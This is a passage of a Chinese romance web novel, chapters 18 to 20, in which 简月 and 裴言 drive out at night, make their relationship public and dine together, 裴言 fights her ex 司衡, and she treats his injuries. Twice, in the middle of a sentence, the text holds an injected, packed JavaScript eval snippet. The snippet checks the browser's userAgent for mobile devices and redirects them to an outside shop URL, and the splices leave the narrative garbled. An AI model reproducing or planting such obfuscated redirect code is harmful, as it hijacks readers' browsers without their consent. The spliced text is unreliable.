很轻很轻的气流呼在她耳边,暖暖的,有些痒。 简月低头,按亮手机屏幕。 十一点四十三。 她按灭手机,微微一笑:“好啊。” 她原本想问他很多,比如他这一天在干什么,为什么这么晚才来找她,又为什么只是傻傻等在楼下而不打电话发消息找她,可是真的到这一刻,她却觉得这些都不再重要—— 更重要的是另一件她发自内心冲动地想要去做的事。 简月拉起裴言的手,向车上跑去:“跟我来。” “什么?”男人在身后问。 “我们去约会,就现在。” 她带着裴言来到副驾前,推他上了车,自己又从车前绕到主驾,拉开车门也坐了上去。 “我们去哪儿?”裴言问。 “飙车。”简月发动车子,弯唇一笑,“害怕?害怕也晚了,上了我的车就别想下去了。” 裴言同样弯唇,系好安全带,声音毫无惧意:“不会,你只管开。” 简月喜欢这种感觉。 她现在就是心跳得厉害怎么也慢不下来,想做点刺激的事发泄一下。 这个时候最爽的莫过于,你想发疯,而你身边的那个人正好愿意陪你。 车冲了出去。 凌晨的江市静极了,车一路飞驰而过,几乎只能听到他们一辆车的引擎声。 风声在窗外呼呼作响,简月打开音响挑了一首歌,然后将音量开至最大。 标志性的吉他riff一出,裴言立刻听出是什么歌,问她:“《HighwaytoHell》?” “Yep。”她意外又惊喜,“你也听AC/DC?” “这首歌很出名,飙车时听很爽。” 简月忍不住笑:“怎么,你也在飙车的时候听过?这首歌叫地狱大道,飙车的时候听好像不吉利呢。” “一首歌而已,你信这些?” “不信。”简月笑吟吟道,“不过你不怕就好。” 《HighwaytoHell》是极其标准的硬摇滚歌曲,利用休止符让人一次次积蓄情绪发泄情绪,本就极燃极嗨,又有超高车速加持,肾上腺素疯狂上升,唯有一个“爽”字可以概括。 她承认,今晚她是有点疯狂了。 车一路目的明确地开上外环,简月打开了车窗。 狂风扑进来,立刻吹乱了她的长发。 耳边风声大作,连主唱用力嘶吼的声音都盖了过去。 这期间裴言始终保持着安静,不慌不乱,简月余光扫到他镇定的模样,一阵欣慰。 是个不扫兴的男朋友,很好。 车在外环绕了一圈,最终在一个湖边停下。 她看向裴言:“下车走走吗?” 裴言点头:“好,但别走太远。” 这片湖位置偏僻,算不上什么景点,放眼一望,周围竟是一个人也没有。 两人下了车,沿着湖边静静地走。 简月双手插在风衣口袋里,此刻才感觉迅疾的心跳慢慢缓下来了。 清风,明月,宁静的氛围下,她想起之前没问的问题。 “裴言。”她说,“你在楼下等了多久?” 一想起路灯下那个孤冷的身影,她就觉得心里发涩。 明明在其他的事上都那么冷静淡定,运筹帷幄,偏偏一到她的事上,就傻得让人心疼。 “没等多久。” “骗人,说实话。” “……”他叹一口气,“很重要吗?” “不重要吗?”她诧异看他一眼,“你等了我那么久,为什么不告诉我一声?害我以为你……”她顿了顿,没好意思说下去,略过去继续说,“我都准备第二天找你取消合作了。” 裴言猛地顿住脚步:“取消合作?” 简月亦跟着顿住,笑着道:“怎么,害怕了?” “如果我不来找你,你就要跟我划清界限了?”他定定看着她。 “那不然呢!”她故作严肃,“你让我很没有面子好不好,明明是你喜欢我,却让我有种……被拒绝的感觉。” 她再次强调:“真的很没有面子!” 月色下,裴言忽然笑了。 明明笑得很温柔,她却隐隐读出了温柔下的几分悲伤。 “我怎么可能拒绝你。”他说。 “……”简月忍住开心,绷直嘴角道,“我又不知道。” “那你现在知道了。” “嗯,知道……”她说着想起他们最初的几面,回过味来,“对了,你那时找我合作,是借口吗?” “……”他眼里多出一点笑意,坦荡承认道,“是。” …… 果然! 他果然不需要她也能硬刚创世,他果然在之前就喜欢她了! “找我合作都是借口,你只是为了认识我接近我?” “是。”男人毫不心虚。 “好啊!”简月上前,双手搭在他肩上,眯了眯眼,意味深长道,“所以你早在我和司衡在一起的时候就喜欢我了。” 虽是这样说,可语气里半分谴责的意味都没有,更像是挑逗。 “真不敢相信,亚恒的裴总是这样的人,喜欢肖想别人的女朋友。”她弯起唇,“你怎么解释呢,裴总?” 她故意叫他“裴总”,拖长了音,抑扬顿挫中,像是某种情趣。 “所以呢?觉得我很卑劣?”裴言趁势揽上她的腰,将她带得更近一步。 两人的身体几乎贴上。 “不啊。”简月眨眨眼,“我只是好奇我们又没说过话,你喜欢我什么?” “喜欢……”顿了顿,他改口道,“我也不知道。” “回过神来就已经喜欢上了,我也没办法控制自己的心。” 意思就是,喜欢她和靠近她都已经成为他的本能,他没办法控制,便只能选择放任。 虽然有点失望这样的答案,但简月也明白,喜欢就是这样。 于是她笑了笑,继续问:“那你是什么时候喜欢我的,在哪里?” 男人微微垂眸,似在回忆:“两年前,你陪他买衣服,你坐在窗边等他,我路过看到,于是对你一见钟情。” 简月露出茫然的眼神。 她绞尽脑汁回忆半天,也没想起任何有关这段的记忆。 她是陪司衡买过衣服,也的确有可能坐在窗边等他,可是裴言路过看到她……? 她呆呆问:“就这么简单?” 裴言肯定道:“就这么简单。” “那时我还不知道你和他的关系,直到后面看到他出来,才知道你就是他的女朋友。” “……”简月还是觉得有些离奇和不可思议。 可如果不是这样,那也没有别的解释了。 裴言对她的感情绝对一朝一夕能酿成,她看得到他眼里的深刻。 “这样……”她不是个较真的人,很快说服自己接受,笑着道,“那这么说,你已经喜欢我两年了?” “嗯。” 她歪了歪头:“那你喜欢我的时候,岂不是很嫉妒司衡?” “……”他嗓音颤了颤,哑声道,“当然。” “那你屡屡针对司衡,是因为我吗?” 男人闭了下眼:“不全是,还有裴文州。” 猛地听到“裴文州”这个名字,简月差点没反应过来,愣了一下才道:“你爸爸?” 裴言看着她,没回答。 这幅反常的模样,简月猜出什么:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13923773|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和家里关系不好,是不是?” “嗯。” “既然关系不好,为什么还要听家里的话?” 男人飘忽不定地笑了下,摸摸她的头:“别问了,改天再告诉你,好不好?” 知道每个人都有难言之隐,简月点点头,换了话题:“所以即使没有我,你也总有一天会搞垮创世是不是?” 裴言沉默看她了会儿,忽然道:“其实现在就可以。” 他艰难道:“之前没有出手,是因为你和他……”还在一起。 简月的心猛地一跳。 所以,裴言其实早就有能力搞垮创世,之所以迟迟不动手,只和司衡玩一些不痛不痒的游戏,都是因为她? 因为她和司衡还在一起,他担心创世垮了会影响到她? 她怔怔看着裴言:“你现在就可以让司衡破产?” “现在也太夸张了。”他忍不住笑了下,“不过只要你想——” 男人神色渐渐认真:“两个月内。” “我唯一想确认的是,你对他还有没有感情。” “简月,我不希望做完这一切后……”他顿了顿,“换来的是你对他的心疼。” 简月心里忽然泛起一阵难言的酸涩。 她忽然发现裴言的让步比她想象的还要多。 他和她在一起,甚至都没确认她对司衡还有没有余情未了。 他那么骄傲的一个人。 她摇摇头,坚定道:“不可能,我从不吃回头草,也从不为自己的决定后悔,分手了就是分手了,我不会再喜欢他的。” 简月低下头,拉起裴言的手:“过来,带你做一件事。” 她带着他小跑几步,从地上捡起一根短树枝,又捡起几块石头,然后握着他的手,用树枝在石头上写下“司衡”的名字。 “简月?”裴言问。 “别说话。” 她带着他一连写了四五块石头,然后说:“看好了。” 石头经由她的手扔出,在空中划出一个抛物线,然后落入湖中,砸出一个漂亮的水花。 一块,两块。 到第三块时,简月把剩下的石头一股脑塞给了他:“扔吧,很爽的。” 裴言忍不住笑了:“这么讨厌他?” “当然,脚踏两条船的渣男,谁不讨厌?”她笑着催促,“快扔啊,扔完就解气了,你想啊,你从前再嫉妒他,现在……”说到最后,她有些不好意思,声音低了些,“和我在一起的人也是你了。” 裴言眼中笑意更盛,不再多问,将剩下的石头一口气扔了出去。 石头在湖面砸出巨大的水花。 听着就有种解气感。 扔完石头,裴言转过身,气息有几分不稳,微微颤抖着:“……简月。” “我们公开好不好。” “如果你不在意他了,我们公开,让所有人都知道我们在一起了好不好?” 他的声音温柔得让人心悸:“我不会辜负你,我会对你很好,我们公开,好吗?” 湖面的涟漪渐渐归于平静,简月看着他的眼睛,发现自己舍不得说出任何一个拒绝的字。 她轻轻点了下头。 裴言又笑了:“冷不冷?” 没等她回答,他已脱下自己的外套替她披上:“很晚了,我送你回去吧,还想问我什么,明天我再慢慢告诉你。” 回去的路上,裴言主动选择了主驾。 她披着他的外套,吹着暖风,坐在副驾上昏昏欲睡。 车停在楼下时,简月睁开眼睛,迷迷糊糊认出了这是哪里。 裴言熄了火问她:“要不要我送你上去?” “不用了,你也早点回去休息吧。”她打了个哈欠,打开车门就要上楼。 走了几步却又想起什么。 她转过身,男人已经下了车,正站在车边目送着她。 “裴言。”简月看着他说,“要再抱一下吗?” 裴言向她张开双手。 那一刻,看着向他奔来的身影,很多年前看过的一句美剧台词在他心中具象成了一辈子也忘不掉的画面。 She’sonherway. 你的真命天女正在路上呢。 Andshe’sgettinghereasfastasshecan. 她正在以她最快的速度赶来。 她向他奔来,头顶是一轮温柔的月,长发在风中微微扬起,在夜色中美得惊心动魄。 而他伸出手,向前一步—— 接住了他的全世界。 19. 骄傲-19% 简月安安稳稳地一觉睡到了天亮。 第二天醒来,她打开手机准备清消息,才发现昨晚姜予彤的消息她一直忘了回。 彼时她正在电影院,屏幕亮起后她看了一眼,想着之后再回,结果忘到了现在。 姜予彤问:[他来找你了吗?] 简月笑了笑,坐起来给她回消息:[当然^_^,下次带他给你见。] 这种带家属的口气,相信姜予彤一看就知道她是什么意思。 她清完消息,刻意看了一眼和裴言的对话框。 哦,没发消息。 那她也不发。 简月下床,开始慢悠悠地洗漱。 洗漱完又去厨房给自己热牛奶准备早餐。 等烤面包端上桌的时候,某人的消息终于姗姗来迟。 裴言:[醒了吗?] 简月看到了,没急着回,慢吞吞吃完一片面包,喝完一杯牛奶,才打字道:[醒了。] 裴言:[晚上要不要一起吃饭?我去接你。] 她看着消息,这才有些愉悦地笑了。 简月:[不是想公开吗?我去找你好了。] 简月:[只要你敢拉着我的手走出公司大楼,用不了几天,大家就知道我们什么关系了。] 过了一会儿,男人才继续回复。 裴言:[只要你愿意,] 裴言:[我不介意。] 她当然没什么不愿意的。 虽然知道关系公开后,会有一些关于她的闲话,不过她不在乎。 为别人活那可太累了。 她就要为自己活。 约定完见面时间,简月拿起车钥匙,去了一趟公司。 * 时间很快来到下午六点半。 约好的时间是七点,简月提前了半个小时,由助理带着来到了三十三层的总裁办。 推门而入的时候,裴言刚好合上一份文件,他问:“怎么提前来了?” “怎么,早点见到我还不高兴?” 男人失笑:“怎么会。” 见他笑,简月不由也笑,走上前问道:“忙完了吗?” “差不多,不过离他们下班还有一会儿,先坐吧。” 简月却没有应。 她看着裴言,十分认真地将他从头到脚打量了一遍。 可能是知道他们晚上要见面,男人今天又换上了极为讲究的正式打扮。 除了标配的西装领带衬衫,他还难得地戴了一只银色腕表,领带上,则是她亲手送出的那枚领带夹。 整个人看起来矜贵疏冷又高不可攀。 简月看了一会儿,忽然笑了:“怎么,打扮成这样,是为了见我吗?” “你说的,我这样穿很好看。” “记这么清楚?”她骤然低头,一只腿跪在裴言的大腿上,用一根手指勾起他的领带,笑盈盈道,“果然是喜欢我。” 领带在她的勾拉下越来越松,简月继续:“不过呢,我好像还没正式听你说过这句,裴言,你现在跟我说一遍吧,我要听。” 男人坐在椅子上,微微仰头,与她对视着。 随着领带松开,他的衬衫领子也松了几分。 他依言道:“我喜欢你。” 简月十分受用。 她愉悦地微笑:“不错,作为奖励,我带你去买衣服吧。” “买衣服?” “你不是说嫉妒司衡吗,不是说第一次见我就是我在陪司衡买衣服吗?怎么,我现在主动陪你做同样的事,你不满意?” 裴言像是终于反应过来她的用意,笑了:“怎么会。” “那你什么时候不忙,挑个下午的时间告诉我,我带你去买衣服。” 闻言,男人想了想:“周日?” “要等这么久?”简月诧异,“今天才周二。” “公司的事比较多,我抽不开身。” 简月不解地歪了歪头。 其实坐到他这个位子上,很多事情都没必要亲力亲为,完全可以交给手下的总监或是找专业人士去打理,就像她和简怀英一样。 她不理解裴言为什么这么忙。 印象中,他似乎每天都很忙。 司衡也是总裁,她记得司衡就没有这么忙。 “为什么不让手下的人去办?你可是总裁,只要过目重大决策就好了吧?”她问。 “我……”男人顿了顿,回答,“有些事我不放心他们去做。” 简月奇道:“什么事?和创世有关吗?” 裴言摇头:“不是,就是亚恒的事。” ……懂了,就是条操心的命。 简月只好表示尊重理解,点头道:“好吧,那就周日。” 说完想起姜予彤的事,又继续:“对了,我们既然在一起了,我有个朋友你要不要见见?” 她补充:“你要是有朋友想见我,你也可以带我去见。” 裴言笑了笑:“其实你见过了。” “什么时……”简月下意识道,说到一半,电光石头想起什么,“Fabien?” 裴言“嗯”了声:“他第一次见你时,问我的话你听懂了吗?” 简月努力回忆,想起来Fabien问裴言的那句——是她吗? 她突然反应过来了。 Fabien问的,其实是裴言喜欢的人是不是她。 对上她求证的眼神,裴言点头:“我跟他说过,我只会带一个异性去那里吃饭。” 而那唯一的异性,就是他喜欢的人。 “那花呢?”真的是餐厅自带的吗? 裴言又笑:“不是,那是他送你的见面礼。” 如果是这样,那一切就都说通了。 想到那么早就被他带去见朋友,简月的脸热了一下,不由道:“你没经过我允许!” “那怎么办?”裴言认真问道。 那怎么办? 简月也不知道怎么办。 “先欠着好了。”她眯起眼睛,“以后我想到了你再补偿我。” “好,你随时说,我随时满足你。” 见他态度良好,简月总算满意了几分,接着又道:“那我朋友呢,你还见不见?” “当然。”裴言欣然点头,“我是该补偿她请她吃顿饭。” 补偿姜予彤?简月正想问,男人已主动解释道:“毕竟你时间有限,以后你们在一起的时间少不得要被我分走一些。” ……倒是挺有道理。 这句话说完,两人忽然默契地一起安静下来。 对方的脸近在咫尺,这么静静看着,好像呼吸都缠绕在一起,变得暧昧无比,似下一秒就要发生点什么。 客观来说,是个接吻的好时候。 简月缓慢地眨了下眼睛,男人先她一步有了动作—— 她的腰一紧,被他的手搂住,带着一点点向下而去。 她呼吸轻了轻,觉得自己的心跳咚咚咚地,像擂鼓一样,让她有种不知所措的感觉。 两人之间的距离不断缩小,简月看着男人的脸,大脑有短暂的空白。 他的眸色黑漆漆的,乌墨一般深浓,长睫同样黑漆漆的,压向他的眼。 这样冷沉的颜色,配上他的五官气质,本该显得冷漠不可接近,可偏偏他的眼尾还有颗泪痣。 这种位置的痣都有股多情的意味,所以当裴言不说话安安静静看着她时,会给她一种极度深情的错觉。 看久了,那颗痣又变得性感勾人起来,勾得她的心痒痒的。 分不清是谁的呼吸越来越急促,就在简月以为男人的唇会碰上来时,办公室的门被敲响。 咚咚咚。 她的心骤然一停,受惊似地立刻从裴言腿上跳起,掩饰一般地理了理头发,看向别处。 一副欲盖弥彰的样子。 “裴总。”助理在门外道。 办公室安静了一瞬,裴言低笑出声,放慢语速道:“我还是第一次见你这么紧张。” 简月又羞又恼地回头瞪他。 男人左手撑脸,眼里溢出笑意:“放心,没有我的允许,他不会擅自进来的。” 他解释完才看向门口,淡淡道:“进来。” 助理推门而入。 然而在看清办公室内的两个人后,他不可思议地睁大双眼,险些将眼珠子瞪出去。 谁能告诉他,到底发生了什么? 简小姐倒是一切正常,但是裴总,他他他他他,他的领带竟然松了,松了还不止一点,松松垮垮地挂在脖子上,随便一扯就能扯掉,还有衬衫,第一颗扣子半松不松,右边的领口像被人压过,凌乱地塌了下去。 ……他从来没有见过裴总这个样子! 噢等等,这么说来简小姐其实也不太正常,她站的位置,竟然是办公桌后,裴总的身旁。 什么事需要离这么近说? 还是他们俩之间……有点什么? 助理的大脑飞速运转着,简小姐衣衫整洁,一切正常,倒是裴总衣衫不整,难道是,裴总趁人不在,想以身体勾引简小姐? 脑海里闪过这个大胆的猜想后,助理大惊失色。 草草草草草。 裴总怎么会是这种人! 他半天没说话,办公桌后的男人微微蹙眉,用笔敲了下桌面,以示提醒。 助理这才回神。 他赶紧低头,不敢再看,说:“裴总,车在楼下给您停好了,您可以随时出发了。” “嗯。”裴言扫了他一眼,“对了,以后简月再来亚恒找我,你直接带她来总裁办就行,不用经过我同意。” “裴总?”助理茫然抬头。 “女朋友。”裴言淡淡解释。 助理:“……” 草草草草草草草! 他刚才在想什么,他竟然在想裴总勾引人家! 孤单寡女在办公室里衣衫不整,当然是男女朋友的关系了! 他脸色僵了僵,应了声“是”,迅速关门退了出去。 助理离开后,简月忍不住道:“宣示主权,你很得意?” 裴言弯起嘴角,轻轻转动椅子看向她道:“当然。” “那领带也是故意给他看的了?” 裴言嘴角保持着笑,轻轻摇头:“不,是我忘了。但既然他看到了,为了防止误会,还是解释一下比较好。否则。”他笑着加重了咬字,“让他以为你对我图谋不轨怎么办?” “图谋不轨?”简月双手撑在椅子扶手上,居高临下地看他,轻笑一声,“你搞清楚,现在是谁衣衫不整,要说图谋不轨,也该是你对我吧?” 裴言看了她两秒,忽然站起身,简月下意识松开手后退,就被男人揽住腰。 两人之间的对视变成他在上而她在下。 “嗯。”出乎意料地,他没有反驳,“你说得对,我承认,是我对你图谋不轨。” 灼热的呼吸落在她脸上,属于裴言的气息完全环绕住了她。 简月接不了话了。 这句话跟表白无异,可后劲儿却比表白更甚。 比简单的“我喜欢你”更强势,也更激烈。 她这个人,是典型的高攻低防。 逗弄别人时游刃有余,可一旦位置调换,变成被撩拨的一方,她就不知该怎么办了。 心跳加速,连句话都不会说了。 幸好,男人没有再继续,他低头看一眼腕上的表,说道:“七点了,到他们下班时间了,我们走吧。” 简月视线移至他的领带,又飞速移开,提醒道:“……领带,系好。” 裴言没说话,视线落在她身上看了她好一会儿才道:“好。” 如果有一天——她能帮他系领带就好了。 他理好领口,系好领带,将领带夹重新别好,然后向她伸出手。 简月看着他的手,微微一愣,后知后觉地将手递过去。 两人的手心一点点贴近,挨紧,直到她的手被男人完全握住。 像是握住了很重要的东西一样。 明明只是普通的牵手,他却像有仪式感一样,非常郑重地等着她回应。 简月说不出心里是什么滋味儿,但她能感觉出,裴言真的很在乎她。 也真的,很喜欢她。 她抿了抿唇,竭力绷直嘴角,好让自己不那么地喜形于色。 坐着总裁专用电梯来到一层,几个刷卡的出口已排起长队。 裴言非常平静地牵着她的手,无视了一众震惊诧异的目光,带她从专用通道刷卡离开,从亚恒的正门走了出去。 那些人的目光简月都看在眼里,她没有在意,只是走着走着,她想起一件事。 或许大部分人都不认识她是谁,但有的人一定认识。 也一定知道她以前和司衡订过婚。 她是不在乎别人怎么想她,可她知道,一定会有人认为司衡绿了她,她是司衡不要的人。 而现在,他们的裴总,牵着司衡不要的人,以一种沉默有力的方式宣示了主权。 他们虽在亚恒上班,但毕竟只是打工人,不可能无脑对裴言抱有滤镜。 他们会怎么想裴言? 这么想着,简月突然有点不舒服。 不是为自己,而是为裴言。 她上了车,等裴言也坐进来后,开口道:“裴言,你说,他们会不会觉得你眼光很烂,看上了司衡不要的人?他们会不会觉得……你比司衡低人一等?” 男人的手刚搭上方向盘,闻言顿了顿。 接着,他冷笑一声:“谁这么想?让他来当着我的面说。” 声音之下,似在极力克制着怒气。 “我不知道,但肯定会有人这么想。”她看向他,认真道,“即使这样你也想公开我们的关系,也不在意?” 他松开方向盘,转身看她:“那你会觉得简月不好吗?” 简月摇头:“当然不会。” 她从来不会因为别人而否定自己。 “那就是了。”裴言笑了,“我也不会觉得简月不好,或者说,只有我知道你有多好。” 最后四个字他声音轻了些,有种异样的温柔和坚定,他接着说:“他们怎么想,跟我一点关系都没有,我只知道我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13935914|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你在一起,任何人都不能阻止影响我。” 简月说不出话来。 太奇怪了,她竟然在一个只认识一个多月的人身上,体会到了被坚定选择的感觉。 ……连江颖都没给过她这种感觉。 错觉吧。 谈恋爱而已,好听话谁不会说。 司衡说过的好听话,到最后不也食言了吗? 半晌,她笑了笑:“嗯,我知道了,走吧。” * 裴言开车又带她去了Fabien那家餐厅。 走到提前预留好的窗边位坐下,服务生如上次一般,为她送上了一大束新鲜的玫瑰。 简月挑挑眉,看向裴言:“上次是见面礼,那这次是?” “我送的。”他弯起唇,“送花讨女朋友开心,不行吗?” 行,当然行。 简月闻了闻玫瑰,愉悦道:“嗯,谢谢,我很喜欢。” 男人闻言,嘴角的弧度又上扬几分。 他将平板递过来:“想吃什么?” “我看看。”简月放下玫瑰,接过平板划看起来。 没多久,她抬起头:“想吃虾,但不想脏手。” 裴言点点头:“我帮你剥。” 简月顿时得到极大的满足,将平板还回去:“没有了,剩下的你点吧。” 男人接过,低下头开始看菜单。 简月百无聊赖,不想看手机,也不想打扰他点东西,干脆支起下巴静静看着他点。 不得不说,他低着头专注于某件事的样子,也挺有吸引力的。 原本只是随便看看,可看到最后,竟有些移不开目光。 她看得认真,直到裴言抬头对上她的目光才堪堪回神。 “怎么一直看我?”裴言问。 “看你好看啊。”简月张口就来。 夸人这种事情,她最擅长了。 然而对面的男人听完却像定住了一样,面色多出一分不自然。 他微微移开目光,拿起桌上的水杯,掩饰性地喝了一口。 就在他低头的瞬间,简月发现他的耳廓肉眼可见地泛起一层浅浅的红色。 竟然害羞了。 她突然起了玩心,继续道:“我男朋友好看,我不能看吗?” 这句话说完,裴言耳朵上的浅红色立刻又深了几层,在冷白的肤色上更显突兀了。 他掩饰性地喝了好几口水,才放下水杯平静道:“嗯,可以,你看吧。” 于是简月看得更肆无忌惮了。 从他的眉到他的眼,从他的鼻到他紧抿的薄唇。 这种情况一直持续到服务生端来他们点的东西。 简月终于收回目光,说道:“好啦,不看了,我们吃吧。” 裴言“嗯”了一声,自觉戴好塑料手套,开始为她剥虾。 剥好后的虾肉放在干净盘子里,方便她随时吃。 简月吃了几口,见他剥得专注,完全没有动筷吃东西的意思,不由道:“裴言。” “嗯?”他抬起头。 “张嘴。”她夹起一块鸭胸肉递到他嘴边。 男人愣了愣,张嘴咬下鸭肉。 “别剥了,我吃不了那么多,你光顾着给我剥,自己不饿吗?” 闻言,裴言淡淡一笑,终于取下塑料手套:“没事,你比较重要。” …… 她又被子弹正中眉心了。 * 晚饭后,裴言送她回了家。 车停在楼下,简月下了车,却被身后的男人叫住。 裴言不知什么时候也下了车,看着她问:“明天还要不要一起吃饭?” 简月回头,反问道:“还是吃饭?不做别的?” “你想做什么?” “我怎么知道,你约我,当然是你来想了。”简月有些好笑,提醒道,“或者呢,你也可以直接一点,说你想见我了,然后我们见了面,再一起想做点什么。” 闻言,男人点点头:“那我每天都想见你。” …… 让他约明天,结果他约了个无期限。 他学得是不是太快了点。 “不行,你这样太偷懒了,一次只能约一天!”她故作严肃。 “那就明天,明天我想见你,我来找你好不好?” 简月这才忍不住笑了,点了下头:“嗯,明天见。” 目送她走进楼门,裴言收回目光,正准备上车,一个人影猛然来到他身侧,双手揪住他的衣领,一路带他撞上身后的路灯。 “裴言。”司衡一字一顿,咬牙切齿道,“我记得我警告过你,你要是敢碰她,我不会放过你。” 路灯被用力撞了一下,头顶的灯光随之晃了晃。 听出来人的声音,裴言冷冷一笑,抬眼看他:“司衡,你还有脸出现。” “我为什么没脸出现,她和我什么关系,你不知道吗?”司衡脸色铁青,手上的力道越来越重。 “什么关系。”裴言缓慢重复这四个字,像听到了一个笑话,哂笑道,“不就是前任。” 话音还未落地,司衡已冲着裴言的脸一拳砸了过去。 两人离得太近,裴言偏头,没能完全躲过,拳头顺着他的脸颊嘴角擦过。 他低头,意味不明地笑了笑,反手冲着司衡的脸回敬了一拳。 这两拳像是某种信号,两人很快厮打在一起。 什么话都不必说,拳拳带肉,用最原始粗暴的方式一较高下。 几个回合后,裴言占了上风,他吐掉口中的血,对着司衡居高临下道:“你没有资格提她的名字。” 那么多次,他想对司衡出手,都生生忍住,没想到今日司衡竟给了他送上门的机会。 他早就想在他脸上来几拳了。 司衡躺在地上,右眼和脸颊已变得青肿,他不喊疼,只喘着粗气,疯了一般低笑起来:“对,就这样,冲我来,有什么事冲我来,我们之间的事,少拉简月下水。” 笑完后他的眼神又冷下来,像淬了毒一样:“裴言,我再警告你一遍,离她远一点,少碰她。” 裴言不说话,照着他的脸又抡了一拳。 用了十足十的力。 司衡的脸上终于流出鲜血。 “你不配。”裴言说。 这句话说完,裴言站起身,步伐不稳地向自己的车走去。 一路飙车到家,他关上门,站在玄关的镜子前,看清了自己的模样。 额头擦破了皮,右脸颊微肿。 干涸的血丝在脸上留下狰狞的血迹,看起来有几分骇人。 只比十年前简月见过的疯狗模样好那么一点。 ……会吓到她吧。 这副模样,她不会喜欢的。 裴言沉默看了会儿,垂下眼眸,取出手机,给简月发了条消息。 * 第二天醒来,简月照旧从枕头下摸出手机开始清消息。 其他的都很正常,只有一条,夹在其中十分刺眼。 是裴言发的。 裴言:[抱歉,临时有事,改天再见吧。] 20. 骄傲-20% 发消息的时间是凌晨1点17分。 简月不敢相信地看了好几遍,回复:[什么事?] 对面过了十分钟才回复。 裴言:[出差。] 简月:[已经走了?] 裴言:[嗯。] 裴言:[几天就好,我尽快回去。] 裴言:[会给你带礼物。] 简月不信。 什么重要的事要在凌晨才能得知? 又是什么重要的事会让他在走之前连见她一面的时间都没有? 她退出微信,果断给裴言的助理打了个电话。 助理很快接起电话,出乎意料地认出了她:“简小姐?” 她愣了一下,助理似也猜到什么,跟着解释:“裴总让我存过您的电话。” …… 心里堵着的气好像被戳了个口,软绵绵地塌了下去。 她沉默了一下,问道:“他今天去公司了吗?” “没有,裴总说他有事,这几天会在家办公。”说到最后他“咦”了一声,奇怪道,“您不知道吗?” 在家。 所以他果然在骗她。 深吸一口气,简月继续问:“那你知道他家地址吗?” “这……”助理显然很为难。 “我打电话他不接,我担心他,想去看看他。”简月随口编了个理由。 “……”助理又是一阵犹豫,最后道,“那,我正好要去给裴总送文件,您不介意的话,可以跟我一起去。” 闻言,简月笑了:“当然不介意。” * 一个小时后,简月跟着助理来到了裴言所住的小区。 小区绿化很好,郁郁葱葱,车驶进大门时,简月在心里默默估算了一下距离。 开车过来半个小时,还好,不远。 车停在楼下,助理领着她进了电梯。 电梯里,助理把文件交给她,说:“等下我帮您敲门,等裴总出来我就撤,您放心,绝对不会打扰你们的。” 简月:“……” 她知道助理铁定误会了什么,但她懒得解释了。 反正等下见到裴言,她也不希望有第三人在场。 电梯停在八楼,出电梯向右,助理敲了敲门。 等开门的功夫,简月左右看了看。 一层两户,跟她住的小区差不多,还算清静。 不多时,门把手轻轻转动,门开了。 只是开门的瞬间,三人皆愣了愣。 助理张了张嘴,欲言又止半天,憋出来一句:“裴总,文件在简小姐那里,我先回公司了,有事您再叫我。” 说完不敢再看裴言的脸,连电梯都没按,径直冲向安全通道,飞快逃离了现场。 脚步声越来越小,直到归于平静。 诡异的沉默里,简月先开了口:“不是说出差走了吗?” 她上上下下打量一遍裴言脸上的淤青和伤口,平静道:“骗我。” 男人的呼吸立刻急促几分。 他滚了滚喉结,哑声道:“对不起。” 简月将文件递向他:“你的文件,放心,我没看过。” 莫名的,她说话带上了几分刺。 他没立刻接,看一眼文件,迟疑着重复道:“对不起。” 简月只好上前一步,拉起他的右手,将文件放了上去,同时,硬邦邦地开口:“渴了,我要喝水。” 男人如梦初醒,将门彻底大开:“你先进来,我给你倒水。” 说完将文件放在玄关的柜子上,转身进了厨房。 简月走进去,盯着男人的背影,皱了皱眉。 裴言倒水倒到一半时,门发出重重一声响,像被人狠狠发泄了一顿情绪一样。 他心里一跳,快步走出厨房,看到玄关处空无一人。 那个应该进来的人不见了。 恐惧和不安立刻涌了上来,他毫不犹豫追了出去,可电梯已经显示到了7楼。 再追到楼下时,已彻底不见简月的身影。 他拿出手机想给她打电话,却发现自己的手指在颤抖。 颤抖得一个电话点了三次才拨出去。 然而电话里传来的只有一遍遍听腻了的铃声。 她不接。 * 回到家后,裴言放下手机,颓然地坐在了玄关的鞋柜上。 他在想事情怎么会变成这样。 为什么刚刚和简月在一起,他就愚蠢地把这些全搞砸了。 她会不会和他分手? 可是在此之前,他从来没想过简月会主动问助理关于他的事。 他以为,她不会关心这些的,所以才对助理连交代都没有交代一句。 他抚上额头,继续给简月打电话。 可这一次的铃声却和门外的声音重合了起来。 与此同时,敲门声响起。 耳边和门外的铃声交叠在一起,一遍遍重复着,他呼吸窒了窒,立刻站起,打开了门。 门外是简月。 和刚才不同,她手里多了个塑料袋。 裴言顺着塑料袋看过去,隐约看到里面装了几个盒子和一个小瓶子。 好像是药。 一种不可思议的猜想在他心中升起,他僵了僵,问道:“你去买药了?” 简月仰头看他,仍很平静:“不然呢?” “那为什么,不接我电话?” “不想接。” 裴言心里一哽。 他不说话,简月反问:“你让不让我进?不让进我走了。” 裴言:“……” 他这才反应过来,慌忙让开。 简月走进去,顺手将门从身后带上。 “有拖鞋换吗?” “直接踩吧。” “哦。”简月点点头,也没客气,穿着鞋直接走到鞋柜前,将塑料袋里的东西倒出来。 她拿出一盒膏药,侧身看裴言:“过来。” 裴言走过去。 “坐。” 裴言在鞋柜旁坐下。 